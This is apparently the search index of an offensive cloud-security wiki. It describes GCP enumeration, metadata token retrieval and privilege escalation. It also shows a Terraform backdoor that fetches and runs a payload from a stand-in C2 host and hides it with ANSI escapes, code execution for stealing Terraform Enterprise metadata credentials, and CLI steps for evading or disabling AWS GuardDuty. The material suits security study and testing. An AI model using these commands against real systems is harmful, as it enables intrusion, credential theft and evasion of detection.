path_to_key_file&gt;\")\n\nif os.getenv('GOOGLE_CLOUD_PROJECT'):\n    PROJECT_ID = os.getenv('GOOGLE_CLOUD_PROJECT')\n    print(PROJECT_ID)\nelse:\n    sys.exit(\"Please set your GOOGLE_CLOUD_PROJECT environment variable via gcloud config set project [PROJECT_ID]\")\n\nif (os.path.exists(sys.argv[1])):\n    print(f'JSON credential: {sys.argv[1]}')\n    # Create credentials using service account key file\n    credentials = google.oauth2.service_account.Credentials.from_service_account_file(sys.argv[1])\nelse:\n    print(f'Access token: {sys.argv[1][0:4]}...{sys.argv[1][-4:]}')\n    ACCESS_TOKEN = sys.argv[1]\n    # Create credentials using access token\n    credentials = Credentials(token=sys.argv[1])\n\n# Split testable permissions list into lists of 100 items each\nchunked_permissions = (\n    [permissions[i * 100:(i + 1) * 100] for i in range((len(permissions)+99) // 100)])\n\n# Build cloudresourcemanager REST API python object\ncrm_api = discovery.build('cloudresourcemanager',\n                          'v1', credentials=credentials)\n\n# For each list of 100 permissions, query the api to see if the service account has any of the permissions\ngiven_permissions = []\nfor permissions_chunk in chunked_permissions:\n    response = crm_api.projects().testIamPermissions(resource=PROJECT_ID, body={\n        'permissions': permissions_chunk}).execute()\n    # If the service account has any of the permissions, add them to the output list\n    if 'permissions' in response:\n        given_permissions.extend(response['permissions'])\n\nprint(given_permissions)\n</code></pre>"},{"location":"gcp/enumeration/enumerate_service_account_permissions/#updating-the-list-of-permissions","title":"Updating the list of permissions","text":"<p>The file containing the list of permissions needs to be created / updated before using the enumeration script.</p> <p>The file <code>permissions.py</code> should look like this:</p> <pre><code>permissions = [\n  'accessapproval.requests.approve',\n  ...\n  'vpcaccess.operations.list'\n]\n</code></pre> <p>The list of existing permissions can be obtained from the IAM permissions reference page or from the IAM Dataset powering gcp.permissions.cloud.</p>"},{"location":"gcp/exploitation/gcp_iam_privilege_escalation/","title":"Privilege Escalation in Google Cloud Platform","text":"Permission \u00a0Resources <code>cloudbuilds.builds.create</code> Script / Blog Post <code>cloudfunctions.functions.create</code> Script / Blog Post <code>cloudfunctions.functions.update</code> Script / Blog Post <code>cloudscheduler.jobs.create</code> Blog Post <code>composer.environments.get</code> Blog Post 1, 2 <code>compute.instances.create</code> Script / Blog Post <code>dataflow.jobs.create</code> Blog Post 1, 2 <code>dataflow.jobs.update</code> Blog Post 1, 2 <code>dataproc.clusters.create</code> Blog Post 1, 2 <code>dataproc.clusters.create</code> Blog Post 1, 2 <code>dataproc.jobs.create</code> Blog Post 1, 2 <code>dataproc.jobs.update</code> Blog Post 1, 2 <code>deploymentmanager.deployments.create</code> Script / Blog Post <code>iam.roles.update</code> Script / Blog Post <code>iam.serviceAccountKeys.create</code> Script / Blog Post <code>iam.serviceAccounts.getAccessToken</code> Script / Blog Post <code>iam.serviceAccounts.implicitDelegation</code> Script / Blog Post <code>iam.serviceAccounts.signBlob</code> Script / Blog Post <code>iam.serviceAccounts.signJwt</code> Script / Blog Post <code>orgpolicy.policy.set</code> Script / Blog Post <code>run.services.create</code> Script / Blog Post <code>serviceusage.apiKeys.create</code> Script / Blog Post <code>serviceusage.apiKeys.list</code> Script / Blog Post <code>storage.hmacKeys.create</code> Script / Blog Post"},{"location":"gcp/general-knowledge/default-account-names/","title":"Default Account Information","text":""},{"location":"gcp/general-knowledge/default-account-names/#service-accounts","title":"Service Accounts","text":"<p>Service accounts are similar to Azure Service Principals. They can allow for programmatic access but also abuse. </p> <p>Information on Service Accounts</p> <p>User-Created Service Account: <code>service-account-name@project-id.iam.gserviceaccount.com</code></p> <p>Using the format above, you can denote the following items:</p> <ul> <li><code>service-account-name</code>: This will tell you potentially what services this is for: <code>Bigtable-sa</code> or <code>compute-sa</code></li> <li><code>project-id</code>: This will be the project identifier that the service account is for. You can set your <code>gcloud</code> configuration to this <code>project-id</code>. It will be numerical typically.</li> </ul>"},{"location":"gcp/general-knowledge/default-account-names/#default-service-account-filename-permutations","title":"Default Service Account filename permutations:","text":"<ul> <li><code>serviceaccount.json</code></li> <li><code>service_account.json</code></li> <li><code>sa-private-key.json</code></li> <li><code>service-account-file.json</code></li> </ul>"},{"location":"gcp/general-knowledge/default-account-names/#application-based-service-account","title":"Application-Based Service Account:","text":"<ul> <li><code>project-id@appspot.gserviceaccount.com</code>: Ths would be <code>project-id</code> value for App Engine or anything leveraging App Engine.</li> <li><code>project-number-compute@developer.gserviceaccount.com</code>: This service account is for Compute Engine where the <code>project-number-compute</code> will be: <code>project-id</code>-<code>compute</code>. I.E. <code>1234567-compute</code>.</li> </ul>"},{"location":"gcp/general-knowledge/default-account-names/#how-to-use-service-accounts","title":"How to use Service Accounts","text":"<p>In a BASH (or equivalent) shell: <code>export GOOGLE_APPLICATION_CREDENTIALS=\"/home/user/Downloads/service-account-file.json\"</code></p>"},{"location":"gcp/general-knowledge/gcp-buckets/","title":"Hunting GCP Buckets","text":"<p>GCP Buckets are almost 100% identical to AWS S3 Buckets. </p> <p>Theory: This call is based on OpenStack; maybe most cloud environments will be the same.</p> <p>Using @digininja's CloudStorageFinder diff the following files:</p> <p><code>diff bucket_finder.rb google_finder.rb</code></p> <p>The main differences are the URLs:</p> <ul> <li>AWS Supports HTTP and HTTPS</li> <li><code>AWS S3</code> URLs: <code>http://s3-region.amazonaws.com</code>, i.e.: <code>http://s3-eu-west-1.amazonaws.com</code>.</li> <li>GCP Endpoint: <code>https://storage.googleapis.com</code></li> </ul> <p>How to find buckets using CloudStorageFinder:</p> <p>Create a wordlist with any name; in our example, it is <code>wordlist.txt</code>.</p> <p>$ <code>ruby google_finder.rb wordlist.txt</code></p>"},{"location":"gcp/general-knowledge/metadata_in_google_cloud_instances/","title":"Metadata in Google Cloud Instances","text":"<p>Metadata can provide an attacker (or regular user) information about the compromised App Engine instance, such as its project ID, service accounts, and tokens used by those service accounts.  </p> <p>The metadata can be accessed by a regular HTTP GET request or cURL, sans any third-party client libraries by making a request to metadata.google.internal or 169.254.169.254.  </p> <p><pre><code>curl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&amp;alt=text\" -H\n\"Metadata-Flavor: Google\"\n</code></pre> Note: If you are using your local terminal to attempt access, as opposed to Google's Web Console, you will need to add <code>169.254.169.254    metadata.google.internal</code> to your <code>/etc/hosts</code> file.</p>"},{"location":"gcp/general-knowledge/metadata_in_google_cloud_instances/#metadata-endpoints","title":"Metadata Endpoints","text":"<p>For basic enumeration, an attacker can target.  <pre><code>http://169.254.169.254/computeMetadata/v1/\nhttp://metadata.google.internal/computeMetadata/v1/\nhttp://metadata/computeMetadata/v1/\nhttp://metadata.google.internal/computeMetadata/v1/instance/hostname\nhttp://metadata.google.internal/computeMetadata/v1/instance/id\nhttp://metadata.google.internal/computeMetadata/v1/project/project-id\n</code></pre> To view scope: <pre><code>http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H \"Metadata-Flavor: Google\"\n</code></pre> To view project metadata: <pre><code>curl \"http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&amp;alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n</code></pre> To view instance metadata: <pre><code>curl \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&amp;alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n</code></pre></p> <p>The following table is pulled from the Google Cloud Documentation</p> Metadata Endpoint Description <code>/computeMetadata/v1/project/numeric-project-id</code> The project number assigned to your project. <code>/computeMetadata/v1/project/project-id</code> The project ID assigned to your project. <code>/computeMetadata/v1/instance/zone</code> The zone the instance is running in. <code>/computeMetadata/v1/instance/service-accounts/default/aliases</code> <code>/computeMetadata/v1/instance/service-accounts/default/email</code> The default service account email assigned to your project. <code>/computeMetadata/v1/instance/service-accounts/default/</code> Lists all the default service accounts for your project. <code>/computeMetadata/v1/instance/service-accounts/default/scopes</code> Lists all the supported scopes for the default service accounts. <code>/computeMetadata/v1/instance/service-accounts/default/token</code> Returns the auth token that can be used to authenticate your application to other Google Cloud APIs."},{"location":"gcp/general-knowledge/security-and-constraints/","title":"Security and Constraints","text":"<p>GCP Resources are typically placed into Projects. Projects are a mix of resource groups in Azure and Accounts in AWS. Projects can be either non-hierarchical or completely hierarchical. An operator can place security constraints on these projects to provide a baseline security policy. There are also Organization-wide policy constraints that apply to every project.</p>"},{"location":"gcp/general-knowledge/security-and-constraints/#examples","title":"Examples","text":"<p>From: Organizational Policy Constraints</p> <ul> <li>constraints/iam.disableServiceAccountCreation : This can disable the overall creation of service accounts. Equivalent to Service Principals in Azure.</li> <li>constraints/iam.disableServiceAccountKeyCreation : This constraint will disable the ability to create a service account key. This constraint would be helpful if you want service accounts but only want to use RSA-based authentication. </li> </ul> <p>There are specific policies that are not retroactive. We can use these to our advantage. </p> <ol> <li><code>constraints/compute.requireShieldedVm</code>: If a compute node is already created and exists without this constraint applied, then this constraint will not be retroactive. You must delete the object and re-create it for it to enforce shielded VMs. </li> <li> <p><code>constraints/compute.vmExternalIpAccess</code>: Consider the following scenario:</p> <ul> <li>Constraint is based on the following permutation: <code>projects/PROJECT_ID/zones/ZONE/instances/INSTANCE</code></li> <li>Constraint looks for the <code>name</code> of the machine in the <code>project</code> identifier specified in the specific <code>zone</code></li> <li>If you can boot a VM with this specific set of criteria, then you can have a machine with an External IP Address</li> <li>Machine cannot already exist.</li> <li><code>constraints/compute.vmCanIpForward</code>: Another Non Retroactive Setting. The machine must not exist before this setting is created. Once this is set, then machines will enforce this condition.</li> </ul> </li> </ol>"},{"location":"terraform/terraform_ansi_escape_evasion/","title":"Terraform ANSI Escape","text":"<p>Original Research: Joern Schneeweisz</p> <p>When performing a Terraform apply from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use ANSI escape codes to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.</p> <p>Take for example the following Terraform code.</p> main.tf<pre><code>resource \"null_resource\" \"hypothetical_ec2_instance\" {\n}\n\nresource \"null_resource\" \"blah\" {\n  provisioner \"local-exec\" {\n    command = \"wget -q http://evil.c2.domain/payload &amp;&amp; chmod +x payload &amp;&amp; ./payload\"\n  }\n}\n</code></pre> <p>In this example, we are using a local-exec provisioner to run shell commands. If we were to backdoor a module or git repository storing Terraform configurations, and a developer were to download them and run them on their workstation, this would run the shell commands on their workstation.</p> <p>Tip</p> <p>As an alternative to local-exec, you can also use external_provider.</p> <p>The problem is that this output would get displayed to the user, for example:</p> <p></p> <p>To solve this, we can use ANSI escape codes to modify this output. It is worth noting that the specific sequences we will need to use will depend on the terminal type the victim is using. The following example is using gnome-terminal on Ubuntu.</p> <pre><code>\\033[2K # Clears the current line\n\\033[A  # Moves the cursor to the previous line\n</code></pre> <p>So, we can modify our payload to the following to hide the malicious activity.</p> main.tf<pre><code>resource \"null_resource\" \"blah\" {\n  provisioner \"local-exec\" {\n    command = \"wget -q http://evil.c2.domain/payload &amp;&amp; chmod +x payload &amp;&amp; ./payload; echo -e '\\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A'\"\n  }\n}\n</code></pre> <p>And this is the output:</p> <p></p>"},{"location":"terraform/terraform_enterprise_metadata_service/","title":"Terraform Enterprise: Attack the Metadata Service","text":"<p>Terraform Enterprise is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.</p> <p>If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.</p> <p>\"By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data\" (source)</p> <p>Note</p> <p>While the focus of this article is on targeting the metadata service, it is worth noting that gaining code execution inside a Terraform run may provide other avenues for attack. For example, environment variables could be leaked which may contain sensitive credentials.</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#remote-code-execution","title":"Remote (Code) Execution","text":"<p>For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a <code>terraform apply</code> or <code>terraform plan</code> all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)</p> <p>An exciting feature of Terraform Enterprise (and Cloud) is the idea of Remote Execution, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in \"disposable virtual machines\". In Terraform Enterprise however, it takes place in \"disposable Docker containers\". </p> <p>This introduces an interesting opportunity; If you compromise credentials to initiate a <code>plan</code> or <code>apply</code> operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.</p> <p>Note</p> <p>It is possible to disable Remote Execution via a configuration however this is discouraged. \"Many of Terraform Cloud's features rely on remote execution, and are not available when using local operations. This includes features like Sentinel policy enforcement, cost estimation, and notifications.\"</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#docker-containers-and-metadata-services","title":"Docker Containers and Metadata Services","text":"<p>Aside from container escapes, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the Instance Metadata Service. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.</p> <p>Other opportunities include things such as the instance user data, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#attack-prevention","title":"Attack Prevention","text":"<p>It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of restrict_worker_metadata_access in the Terraform Enterprise settings. This is not the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.</p> <p>The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, IMDSv2 in an AWS situation would prevent the Docker container from reaching the Metadata Service.</p> <p>Note</p> <p>Nothing should prevent these two methods from working at the same time. It is a good idea to require IMDSv2 of all EC2 instances in your environment.</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#walkthrough","title":"Walkthrough","text":"<p>Warning</p> <p>This walkthrough and screenshots are not tested against Terraform Enterprise (this is a free/open source project, we don't have access to a Terraform Enterprise instance for demonstration purposes). As such it is being demoed on Terraform Cloud which, while similar, is not a 1-1 copy. If you are attempting to exploit this against your organization's TFE instance, minor tweaks may be needed. (We are open to Pull Requests!)</p> <p>Note</p> <p>If you already have a configured and initialized Terraform backend, you can skip to the Executing Code section. The following walkthrough will demonstrate the entire process from finding the token to initializing the backend.</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#acquire-a-terraform-api-token","title":"Acquire a Terraform API Token","text":"<p>To begin, you'll first need to 'acquire' a Terraform API Token. These tokens can be identified by the <code>.atlasv1.</code> substring in them.</p> <p>As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in <code>~/.terraform.d/</code>, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#identify-the-organization-and-workspace-names","title":"Identify the Organization and Workspace Names","text":"<p>With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as jq to parse and display the JSON.</p> <pre><code>curl -H \"Authorization: Bearer $TFE_TOKEN\" \\\nhttps://&lt;TFE Instance&gt;/api/v2/organizations | jq\n</code></pre> <p></p> <p>Next, we need to identify a workspace we can use. Again, this can be quereyed using the organization <code>id</code> we gathered in the previous step.</p> <pre><code>curl -H \"Authorization: Bearer $TFE_TOKEN\" \\\nhttps://&lt;TFE Instance&gt;/api/v2/organizations/&lt;Organization ID&gt;/workspaces | jq\n</code></pre> <p></p>"},{"location":"terraform/terraform_enterprise_metadata_service/#configure-the-remote-backend","title":"Configure the Remote Backend","text":"<p>Now that we have the organization and workspace id's from the previous step, we can configure the remote backend. To do this, you can use this example as a template with one exception. We will add a <code>hostname</code> value which is the hostname of the Terraform Enterprise instance. You can store this in a file named <code>backend_config.tf</code>. backend_config.tf<pre><code>terraform {\n  backend \"remote\" {\n    hostname = \"{{TFE_HOSTNAME}}\"\n    organization = \"{{ORGANIZATION_NAME}}\"\n\n    workspaces {\n      name = \"{{WORKSPACE_NAME}}\"\n    }\n  }\n}\n</code></pre></p>"},{"location":"terraform/terraform_enterprise_metadata_service/#initialize-the-backend","title":"Initialize the Backend","text":"<p>With the backend configuration file created we can initialize the backend with the following command.</p> <pre><code>terraform init --backend-config=\"token=$TFE_TOKEN\"\n</code></pre> <p>If everything has worked as it should, you should get a <code>Terraform has been successfully initialized</code> notification. To test this, you can perform a <code>terraform state list</code> to list the various state objects.</p>"},{"location":"terraform/terraform_enterprise_metadata_service/#executing-code","title":"Executing Code","text":"<p>Now that our backend has been properly configured and we can access the remote state, we can attempt to execute code. There are several ways this can be done (such as using a local-exec provisioner) however, for our purposes we will be using the External Provider.</p> <p>\"<code>external</code> is a special provider that exists to provide an interface between Terraform and external programs\".</p> <p>What this means is that we can execute code during the Terraform <code>plan</code> or <code>apply</code> operations by specifying a program or script to run.</p> <p>To do this, we will create an <code>external provider</code> in our existing <code>backend_config.tf</code> file (if you already have an existing Terraform project you can add this block to those existing files).</p> backend_config.tf<pre><code>...\n\ndata \"external\" \"external_provider\" {\n    program = [\"python3\", \"wrapper.py\"]\n}\n\noutput \"external_provider_example\" {\n    value = data.external.external_provider\n}\n</code></pre> <p>You may be wondering what the <code>wrapper.py</code> file is. In order to use the <code>external</code> provider, we must \"implement a specific protocol\" (source), which is JSON. To do this, we will wrap the result of the code execution in JSON so it can be returned.</p> <p>Note</p> <p>The wrapper script is not strictly required if you aren't interested in getting the output. If your goal is simply to execute a C2 payload, you can include the binary in the project directory and then execute it.</p> <p>Wrapping the output in JSON allows us to get the response output.</p> <p>Our wrapper script looks like the following (feel free to change to your needs).</p> wrapper.py<pre><code>import json\nimport os\n\nstream = os.popen('id')\noutput = stream.read()\nresult = { \"result\" : output }\n\nprint(json.dumps(result))\n</code></pre>"},{"location":"terraform/terraform_enterprise_metadata_service/#terraform-plan","title":"Terraform Plan","text":"<p>Now that the wrapper script is created (and modified), we can execute code via <code>terraform plan</code>. This is a non-destructive action, which will evaluate our local configuration vs's the remote state. In addition, it will execute our remote provider and return the result to us.</p> <p></p> <p>Warning</p> <p>Upon executing <code>terraform plan</code> you may encounter errors for various reasons depending upon the remote state. Those errors will need to be handled on a case by case basis. Typically this involves modifying your <code>.tf</code> files to suit the remote state. This can typically be figured out based on the results of <code>terraform state pull</code>.</p> <p>From here, we can modify our wrapper script to do a variety of things such as (the purpose of this article) reaching out to the metadata service and pulling those credentials.</p> <p>Note</p> <p>The results of this run are logged elsewhere. Please do not leak secrets or other sensitive information to parties who do not have a need for the information. A more efficient method would be to use a C2 platform such as Mythic (or even just a TLS encrypted reverse shell) to exfiltrate the credentials.</p>"}]}
\ No newline at end of file
+{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":["stopWordFilter"],"fields":{"title":{"boost":1000.0},"text":{"boost":1.0},"tags":{"boost":1000000.0}}},"docs":[{"location":"","title":"Home","text":"<p>Hacking the cloud is an encyclopedia of the attacks/tactics/techniques that offensive security professionals can use on their next cloud exploitation adventure. The goal is to share this knowledge with the security community to better defend cloud native technologies.</p> <p>All content on this site is created by volunteers. If you'd like to be one of them, you can contribute your knowledge by submitting a Pull Request. We are open to content from any major cloud provider and will also accept cloud-related technologies as well (Docker, Terraform, K8s, etc.). Additionally you are encouraged to update/modify/improve existing pages as well.</p> <p>Topics can include offensive techniques, tools, general knowledge related to cloud security, etc. Defensive knowledge is also welcome! At the end of the day the primary goal is to make the cloud safer, and defenders are welcome to submit content all the same.</p> <p>Don't worry about submitting content in the wrong format or what section it should be a part of, we can always make improvements later :) When writing content about a technique identified by a researcher, credit the researcher who discovered it and link to their site/talk.</p>"},{"location":"#contributing","title":"Contributing","text":"<p>If you'd like to contribute to the site, please see our contributing page. Anything helps! An article, a paragraph, or even a fix for a grammar mistake.</p> <p>Please checkout the GitHub page for more!</p>"},{"location":"#disclaimer","title":"Disclaimer","text":"<p>The information provided by Hacking the Cloud is intended to be used by professionals who are authorized to perform security assessments or by those defending cloud environments. While these techniques can be used to avoid detection, escalate privileges, compromise resources, etc. the intent is to improve security by making the knowledge of these techniques more generally available.</p>"},{"location":"aws/avoiding-detection/guardduty-pentest/","title":"Bypass GuardDuty Pentest Findings for the AWS CLI","text":"<p>Thank You</p> <p>Thank you to @yobroda for notifying me that the previous method in this article was outdated and suggesting a more reliable, long-term solution.</p> <p>As a cloud Penetration Tester or Red Teamer, we need to be aware of what artifacts we leave behind in the logs that we touch. One easy to overlook clue is the User-Agent value passed in AWS API requests. When using the AWS CLI or SDK to interact with AWS services, the User-Agent string is passed in the headers of the HTTP request. This string can be used to identify the tool or library making the request.</p> <p>This can give away the operating system you are using and may raises suspicion from defenders. For example, say you steal credentials from a developer workstation running MacOS and suddenly start making requests from a Windows machine. This suspicious activity could be noticed by automation and an alarm could be raised.</p> <p>This is where AWS GuardDuty comes in. GuardDuty is a threat detection service that continuously monitors for malicious activity and unauthorized behavior to protect your AWS accounts and workloads. GuardDuty takes this idea a step further and has built-in detections for common penetration testing Linux distributions like Kali Linux, ParrotOS, and Pentoo Linux. If you make AWS API requests from one of these distributions, GuardDuty will trigger a PenTest Finding.</p> <p>As you can imagine, this is not ideal. The good news is that the User-Agent string is entirely within our control. While this value is unfortunately something we cannot natively configure with the AWS CLI, we can use external tooling to intercept our requests and modify them. In this article, we will explain how we can modify our User-Agent string when using the AWS CLI to avoid triggering GuardDuty alerts.</p> <p>Note</p> <p>In the following example we will use Burp Suite because it is freely available and commonly used. If you have an alternative suggestion, please open a pull request to add it.</p>"},{"location":"aws/avoiding-detection/guardduty-pentest/#burp-suite-setup-and-usage","title":"Burp Suite Setup and Usage","text":"<p>To begin, download and install Burp Suite Community Edition. With it running, navigate to the Proxy tab and click <code>Proxy settings</code>.</p> <p>Next, scroll to <code>HTTP match and replace rules</code>:</p> <p></p> <p>From here, click <code>Add</code> and enter the following values:</p> <ul> <li>Type: <code>Request header</code></li> <li>Match: <code>^User-Agent.*$</code></li> <li>Regex match: Should be checked</li> <li>Replace: This can be any string of your choosing. Ensure you preprend <code>User-Agent:</code> to the beginning of the string. For a list of potential User-Agent values, you can refer to this list from Pacu.</li> </ul> <p>Click <code>Test</code> to see an example of what your change would look like.</p> <p></p> <p>To finish, click <code>OK</code>. To ensure your new rule is enabled, scroll to the bottom of your match and replace rules.</p> <p>Next, we need to configure our AWS CLI to use Burp Suite as a proxy. This can be done by setting the <code>HTTP_PROXY</code> and <code>HTTPS_PROXY</code> environment variables. For example:</p> <pre><code>export HTTPS_PROXY=http://127.0.0.1:8080\nexport HTTP_PROXY=http://127.0.0.1:8080\n</code></pre> <p>With this setup, all of your AWS CLI requests will be routed to Burp Suite, however you will likely encounter the following error:</p> <pre><code>SSL validation failed for https://sts.us-east-1.amazonaws.com/ [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1129)\n</code></pre> <p>This is because Burp Suite uses a self-signed certificate. There are multiple options to resolve this issue and I will defer to your professional discretion on which to use. You could, for example, add the self-signed certificate to your trusted certificates. Alternatively you could disable SSL verification with the AWS CLI using the <code>--no-verify-ssl</code> flag.</p> <p>Regardless of the method you choose, after making a request to the AWS API you should see the User-Agent string you configured appear in the associated CloudTrail logs.</p> <p></p> <p>With all of this in place, you can now make requests to the AWS API using the CLI without triggering GuardDuty alerts.</p>"},{"location":"aws/avoiding-detection/guardduty-tor-client/","title":"Bypass GuardDuty Tor Client Findings","text":"<p>UnauthorizedAccess:EC2/TorClient is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor Guard or Authority nodes. According to the documentation, \"this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker's true identity\".</p> <p>AWS determines this by comparing connections to the public list of Tor nodes. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.</p> <p>From a technical perspective the Tor Project has largely gotten around this by using Bridges. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.</p> <p>To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is <code>apt install tor obfs4proxy</code> and move them to your target). Obfs4 is a Pluggable Transport which modifies Tor traffic to communicate with a bridge. Navigate to bridges.torproject.org to get a bridge address. </p> <p>From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):</p> <pre><code>UseBridges 1\nBridge obfs4 *ip address*:*port* *fingerprint* cert=*cert string* iat-mode=0\nClientTransportPlugin obfs4 exec /bin/obfs4proxy\n</code></pre> <p>You will now be able to connect to the Tor network with <code>tor -f torrc</code> and you can connect to the Socks5 proxy on port 9050 (by default).</p>"},{"location":"aws/avoiding-detection/modify-guardduty-config/","title":"Modify GuardDuty Configuration","text":"<p>When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness.  The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies. </p> <p>Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in.</p>"},{"location":"aws/avoiding-detection/modify-guardduty-config/#misconfiguring-the-detector","title":"Misconfiguring the Detector","text":"<p>An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness.</p> <ul> <li> <p> Required IAM Permissions</p> <ul> <li>guardduty:ListDetectors</li> <li>guardduty:UpdateDetector</li> </ul> </li> </ul> <p>Configuration changes may include a combination of:</p> <ul> <li>Disabling the detector altogether.  </li> <li>Removing Kubernetes and s3 as data sources, which removes all S3 Protection and Kubernetes alerts.  </li> <li>Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes.</li> </ul> <p>Example CLI commands <pre><code># Disabling the detector\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --no-enable \n\n# Removing s3 as a log source\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --data-sources S3Logs={Enable=false}\n\n# Increase finding update time to 6 hours\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --finding-publishing-frequency SIX_HOURS\n</code></pre></p>"},{"location":"aws/avoiding-detection/modify-guardduty-config/#modifying-trusted-ip-lists","title":"Modifying Trusted IP Lists","text":"<p>An attacker could create or update GuardDuty's Trusted IP list, including their own IP on the list.  Any IPs in a trusted IP list will not have any Cloudtrail or VPC flow log alerts raised against them. </p> <p>DNS findings are exempt from the Trusted IP list.</p> <ul> <li> <p> Required IAM Permissions</p> <ul> <li>guardduty:ListDetectors</li> <li>guardduty:ListIPSets</li> <li>guardduty:CreateIPSet</li> <li>guardduty:UpdateIPSet</li> <li>iam:PutRolePolicy</li> </ul> </li> </ul> <p>Depending on the level of stealth required, the file can be uploaded to an s3 bucket in the target account, or an account controlled by the attacker.</p> <p>Example CLI commands <pre><code>aws guardduty update-ip-set \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --ip-set-id 24adjigdk34290840348exampleiplist \\\n    --location https://malicious-bucket.s3-us-east-1.amazonaws.com/customiplist.csv \\\n    --activate\n</code></pre></p>"},{"location":"aws/avoiding-detection/modify-guardduty-config/#modify-cloudwatch-events-rule","title":"Modify Cloudwatch events rule","text":"<p>GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence.  Modifying the Event pattern or Targets for an event may reduce GuardDuty's ability to alert and trigger auto-remediation of findings, especially where the remediation is triggered in a member account as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account. </p> <ul> <li> <p> Required IAM Permissions</p> <ul> <li>events:ListRules</li> <li>events:ListTargetsByRule</li> <li>events:PutRule</li> <li>events:RemoveTargets</li> </ul> </li> </ul> <p>Note</p> <p>In a delegated or invitational admin GuardDuty architecture, cloudwatch events will still be created in the admin account.</p> <p>Example CLI commands <pre><code># Disable GuardDuty Cloudwatch Event\naws events put-rule --name guardduty-event \\\n--event-pattern \"{\\\"source\\\":[\\\"aws.guardduty\\\"]}\" \\\n--state DISABLED\n\n# Modify Event Pattern\naws events put-rule --name guardduty-event \\\n--event-pattern '{\"source\": [\"aws.somethingthatdoesntexist\"]}'\n\n# Remove Event Targets\naws events remove-targets --name guardduty-event \\\n--ids \"GuardDutyTarget\"\n</code></pre></p>"},{"location":"aws/avoiding-detection/modify-guardduty-config/#supression-rules","title":"Supression Rules","text":"<p>Newly create GuardDuty findings can be automatically archived via Suppression Rules. An adversary could use filters to automatically archive findings they are likely to generate. </p> <ul> <li> <p> Required IAM Permissions</p> <ul> <li>guardduty:CreateFilter</li> </ul> </li> </ul> <p>Example CLI commands</p> <pre><code>aws  guardduty create-filter --action ARCHIVE --detector-id 12abc34d567e8fa901bc2d34e56789f0 --name yourfiltername --finding-criteria file://criteria.json\n</code></pre> <p>Filters can be created using the CreateFilter API.</p>"},{"location":"aws/avoiding-detection/modify-guardduty-config/#delete-publishing-destination","title":"Delete Publishing Destination","text":"<p>An adversary could disable alerting simply by deleting the destination of alerts.</p> <ul> <li> <p> Required IAM Permissions</p> <ul> <li>guardduty:DeletePublishingDestination</li> </ul> </li> </ul> <p>Example CLI commands</p> <pre><code>aws guardduty 